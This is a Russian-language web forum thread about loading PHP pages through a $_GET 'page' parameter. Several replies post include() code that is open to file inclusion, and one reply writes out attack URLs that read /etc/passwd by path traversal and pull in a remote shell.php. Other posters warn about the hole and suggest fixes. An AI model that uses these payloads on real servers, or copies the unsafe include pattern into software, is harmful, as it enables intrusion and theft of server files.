![]() |
Вопрос по $_GET на PHP.
Вот к примеру юзаю такую конструкцию:
<?php $page = $_GET['page']; echo " <li><a href=/files/qwerty.doc>Главная </a></li> <li><a href=\"?page=1.php\">Лабы</a></li> <li><a href=\"?page=lekcii.php\">Лекции</a></li> "; ?> Потом в нужном слое подключаю страницу вот так: <?php include("$page");?> Естественно при первом заходе на страницу возникает ошибка, т.к. в $_GET['page'] ничего еще не передано, когда начинаю по ссылкам ходить - все нормально. Как исправить? Собственно интересует, как сделать, чтобы адреса в браузере писались типа так "http://seras.awarded.in/?set=muzon" . P.S.: ссылки на учебники не давать :), имеются в наличии. |
[PHP]<?php
// проверяем, есть ли вообще в массиве $_GET элемент "page" if ( isset ( $_GET [ "page" ] )) { $filename = escapeshellcmd ( $_GET [ "page" ] ); // получаем имя файла, попутно избавляемся от спец-символов // проверяем существование файла, который надо подключить if ( is_file ( $filename )) { // подключаем нужный файл include ( $filename ); } else { // выводим сообщение, что файла такого нет print "Страница не найдена"; } } else // если в $_GET ничего не передается { print "Неверный URL."; } [/PHP] |
шобы сделать, чтобы адреса в браузере писались типа так "http://seras.awarded.in/?set=muzon" , существует 2 метода форм - это method=post, и method=get (это в хтмл), пользовался на перле...
|
2freelsd.
Спасибо, попробую. 2Crazy. Это понятно блин ;), ты написал бы КАК это сделать, пример конкретный. |
Вот так было в мойом скрипте перлоффском:
<form action="/cgi-bin/index.cgi" method="post или get"> ИМЯ:<input type="text" name="name" action="http://localhost/cgi-bin/index.cgi"> </input> <br>ПАРОЛЬ: <input type="password" name="pass" action="http://localhost/cgi-bin/index.cgi"> </input> <br><input name="submit" type="submit" value="ОТПРАВИТЬ"> </input> </form> |
2 ТопикСтартер
Это самописный двиг или паблик? [Для просмотра данной ссылки нужно зарегистрироваться]) SeRaS-Home / Произошла ошибка! Вам закрыт доступ на сайт. Причина: Попытка внедрить XXS Что такое XXS? Может XSS? =) |
Самописный баг :).
2Крейзи. У меня-то не форма, а просто ссылки или я чего-то не догоняю. |
собственно freelsd все правильно написал, от себя лишь хочется добавить, что я бы не выводил сообщения об ошибке, а просто сделал бы редерект на нужный адрес с соответствующим параметром.
Делается это так Код:
header("Location: http://www.adress.ru/index.php?page=1.php"); |
Аккуратнее только с такими конструкциями, ибо таким макаром человек может запросить любую страницу с сервера, например так:
[Для просмотра данной ссылки нужно зарегистрироваться] А это не есть гут... |
немного дополню код freelsd
[php] <?php // проверяем, есть ли вообще в массиве $_GET элемент "page" if ( isset ( $_GET [ "page" ] )) { $filename = escapeshellcmd ( $_GET [ "page" ] ); // получаем имя файла, попутно избавляемся от спец-символов //добавим расширение к имени файла $filename .= ".php"; // проверяем существование файла, который надо подключить if ( is_file ( $filename )) { // подключаем нужный файл include ( $filename ); } else { // выводим сообщение, что файла такого нет print "Страница не найдена"; } } else // если в $_GET ничего не передается { //то выводим html форму $string = <<<HTML; <form action="" method="get" onchange="submit()"> <select name="page"> <option value="lekcii">Лекции</option> <option value="knigi">Книги</option> </select> </form> HTML; print $string; } [/php] в итоге по запросу адреса [Для просмотра данной ссылки нужно зарегистрироваться] будет подгружаться файл knigi.php |
Цитата:
Код:
http://www.adress.ru/index.php?page=../../../../../etc/passwd Код:
http://www.adress.ru/index.php?page=http://megaxeksite.narod.ru/shell.php Ну в данном случае не катит, я проверял =) |
ну, если мы тут вообще разводим "в гостях у сказки", тогда и проверять лучше не $filename . ".php", а dirname( __FILE__ ) . "/" . $filename, и выводить файлы стал бы не через include, а через strip_tags ( file_get_contents ( $filename ) , "<p><b><i><u><a><img><h1>..." );
|
Спасибо, парни.
|
Цитата:
Конструкция dimazzz`a выдает ошибку: "Parse error: parse error, unexpected T_SL in z:\home\[Для просмотра данной ссылки нужно зарегистрироваться] on line 100". Строчка 100 - вот эта $string = <<<HTML; |
Цитата:
Можно сделать так, создай на серве папку, например /includes/ и заливаешь туда свои файлы, которые нужно инклудить через $_GET Естественно изменяешь скрипт с include ( $filename ); на include ( "/includes/"$filename ); Ещё можно добавить фильтрацию некоторых символов, например: "\" "/" "." ":" Их часто используют при проведении PHP-Injection |
Цитата:
прошу прощенья - на автомате поставил :) |
А что она хоть делает эта строка тогда?
|
все, начиная со строки
$string = <<<HTML и заканчивая строкой HTML; будет восприниматься php как html код и будет помещено в переменную $string; а потом мы просто выводим переменную $string |
Все равно ругается на $string = <<<HTML, "Parse error: parse error, unexpected T_SL.
|
Цитата:
больше ничего нет после HTML тогда заработает |
Часовой пояс GMT +3, время: 07:09. |
Powered by vBulletin® Version 3.7.3
Copyright ©2000 - 2025, Jelsoft Enterprises Ltd. Перевод:
Search Engine Friendly URLs by vBSEO 3.6.0zCarot
© 2005—2015 ООО «Интернет компания ННОВ.РУ», friends.nnov.ru
Реклама на форуме